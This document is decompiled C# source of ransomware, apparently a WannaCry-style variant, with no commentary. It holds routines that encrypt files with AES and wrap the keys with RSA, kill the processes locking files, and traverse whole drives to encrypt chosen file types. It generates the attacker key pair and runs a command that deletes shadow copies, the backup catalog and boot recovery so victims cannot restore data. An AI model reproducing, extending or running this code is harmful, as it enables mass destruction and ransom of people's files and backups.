private void DecryptThreadFunc()
{
while (this._files.Count > 0)
{
string text = this._files.Dequeue();
if (CryptoFile.Decrypt(text, this._privateKey))
{
Console.WriteLine(text);
}
}
}
public static bool Encrypt(string path, byte[] publicKeyBlob)
{
try
{
if (!File.Exists(path))
{
bool result = false;
return(result);
}
if (CryptoFile.IsFileLocked(path))
{
CryptoFile.KillFileLockProcess(path);
}
using (FileStream fileStream = File.Open(path, FileMode.Open, FileAccess.ReadWrite, FileShare.None))
{
if (fileStream.Length > 512L)
{
byte[] array = new byte[5];
fileStream.Seek(-5L, SeekOrigin.End);
fileStream.Read(array, 0, array.Length);
if (Encoding.ASCII.GetString(array) == "WNCRY")
{
bool result = false;
return(result);
}
fileStream.Seek(0L, SeekOrigin.Begin);
}
if (fileStream.Length < 16L)
{
fileStream.SetLength(16L);
}
byte[] array2 = new byte[(fileStream.Length > CryptoFile.CRYPT_BYTES) ? CryptoFile.CRYPT_BYTES : (fileStream.Length >> 4 << 4)];
fileStream.Read(array2, 0, array2.Length);
AESKey aESKey = new AESKey();
byte[] array3 = AES.Encrypt(aESKey.Key, aESKey.IV, array2);
byte[] array4 = RSA.Encrypt(publicKeyBlob, aESKey.Key);
byte[] array5 = RSA.Encrypt(publicKeyBlob, aESKey.IV);
fileStream.Seek(0L, SeekOrigin.Begin);
fileStream.Write(array3, 0, array3.Length);
fileStream.Seek(0L, SeekOrigin.End);
fileStream.Write(array4, 0, array4.Length);
fileStream.Write(array5, 0, array5.Length);
fileStream.Write(Encoding.ASCII.GetBytes("WNCRY"), 0, 5);
fileStream.Flush();
}
}
catch
{
bool result = false;
return(result);
}
return(true);
}
private static void Main(string[] args)
{
if (args.Length == 0)
{
return;
}
try
{
string text = args[0];
uint num = < PrivateImplementationDetails >.ComputeStringHash(text);
if (num <= 2900225736u)
{
if (num != 412383504u)
{
if (num != 445938742u)
{
if (num != 2900225736u)
{
goto IL_52B;
}
if (!(text == "-genrsa"))
{
goto IL_52B;
}
}
else
{
if (!(text == "-df"))
{
goto IL_52B;
}
CryptoFile.Decrypt(args[1], Convert.FromBase64String(args[2]));
goto IL_52B;
}
}
else
{
if (!(text == "-dd"))
{
goto IL_52B;
}
string text2 = args[1].Replace("\\", "").Replace(":", "").ToLower() + ":\\";
List <string> list = null;
try
{
list = new List <string>(File.ReadAllLines(text2.Replace(":\\", "") + "_drive.index"));
}
catch
{
list = null;
}
string[] array = args[2].ToLower().Split(new char[]
{
','
});
string[] directories = ((args.Length == 4) ? "" : args[3]).ToLower().Split(new char[]
{
','
});
byte[] privateKeyBlob = (args.Length == 4) ? Convert.FromBase64String(args[3]) : Convert.FromBase64String(args[4]);
FileSearcher fileSearcher = (list == null) ? new FileSearcher(text2) : null;
List <CryptoQueue> list2 = new List <CryptoQueue>();
List <string> files = FileSearcher.ExcludeDirectories((fileSearcher == null) ? list : fileSearcher.Files, directories);
string[] array2 = array;
for (int i = 0; i < array2.Length; i++)
{
string extension = array2[i];
list2.Add(new CryptoQueue(FileSearcher.GetFilesByExtension(files, extension)));
}
GC.Collect();
using (List <CryptoQueue> .Enumerator enumerator = list2.GetEnumerator())
{
while (enumerator.MoveNext())
{
enumerator.Current.BeginDecryption(privateKeyBlob);
}
}
bool flag = false;
while (!flag)
{
flag = true;
using (List <CryptoQueue> .Enumerator enumerator = list2.GetEnumerator())
{
while (enumerator.MoveNext())
{
if (!enumerator.Current.IsDone)
{
flag = false;
}
}
}
Thread.Sleep(1000);
}
goto IL_52B;
}
}
else if (num <= 3720286260u)
{
if (num != 3125856692u)
{
if (num != 3720286260u)
{
goto IL_52B;
}
if (!(text == "-index"))
{
goto IL_52B;
}
string text2 = args[1].Replace("\\", "").Replace(":", "").ToLower() + ":\\";
FileSearcher fileSearcher = new FileSearcher(text2);
try
{
File.WriteAllLines(text2.Replace(":\\", "") + "_drive.index", fileSearcher.Files.ToArray());
goto IL_52B;
}
catch
{
goto IL_52B;
}
}
else
{
if (!(text == "-delshadowcopies"))
{
goto IL_52B;
}
PS.ExecuteAndForget("cmd.exe", "/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog –quiet");
goto IL_52B;
}
}
else if (num != 4237724563u)
{
if (num != 4271279801u)
{
goto IL_52B;
}
if (!(text == "-ed"))
{
goto IL_52B;
}
string text2 = args[1].Replace("\\", "").Replace(":", "").ToLower() + ":\\";
List <string> list = null;
try
{
list = new List <string>(File.ReadAllLines(text2.Replace(":\\", "") + "_drive.index"));
}
catch
{
list = null;
}
string[] array = args[2].ToLower().Split(new char[]
{
','
});
string[] directories = ((args.Length == 4) ? "" : args[3]).ToLower().Split(new char[]
{
','
});
byte[] publicKeyBlob = (args.Length == 4) ? Convert.FromBase64String(args[3]) : Convert.FromBase64String(args[4]);
FileSearcher fileSearcher = (list == null) ? new FileSearcher(text2) : null;
List <CryptoQueue> list2 = new List <CryptoQueue>();
List <string> files = FileSearcher.ExcludeDirectories((fileSearcher == null) ? list : fileSearcher.Files, directories);
string[] array2 = array;
for (int i = 0; i < array2.Length; i++)
{
string extension2 = array2[i];
list2.Add(new CryptoQueue(FileSearcher.GetFilesByExtension(files, extension2)));
}
GC.Collect();
using (List <CryptoQueue> .Enumerator enumerator = list2.GetEnumerator())
{
while (enumerator.MoveNext())
{
enumerator.Current.BeginEncryption(publicKeyBlob);
}
}
bool flag = false;
while (!flag)
{
flag = true;
using (List <CryptoQueue> .Enumerator enumerator = list2.GetEnumerator())
{
while (enumerator.MoveNext())
{
if (!enumerator.Current.IsDone)
{
flag = false;
}
}
}
Thread.Sleep(1000);
}
goto IL_52B;
}
else
{
if (!(text == "-ef"))
{
goto IL_52B;
}
CryptoFile.Encrypt(args[1], Convert.FromBase64String(args[2]));
goto IL_52B;
}
RSAKeyPair expr_187 = new RSAKeyPair();
string arg = Convert.ToBase64String(expr_187.PublicKey, Base64FormattingOptions.None);
string arg2 = Convert.ToBase64String(expr_187.PrivateKey, Base64FormattingOptions.None);
Console.Write(string.Format("{0},{1}", arg2, arg));
expr_187.ClearPrivateKey();
IL_52B:
if (File.Exists("handle.exe"))
{
File.Delete("handle.exe");
}
}
catch
{
}
}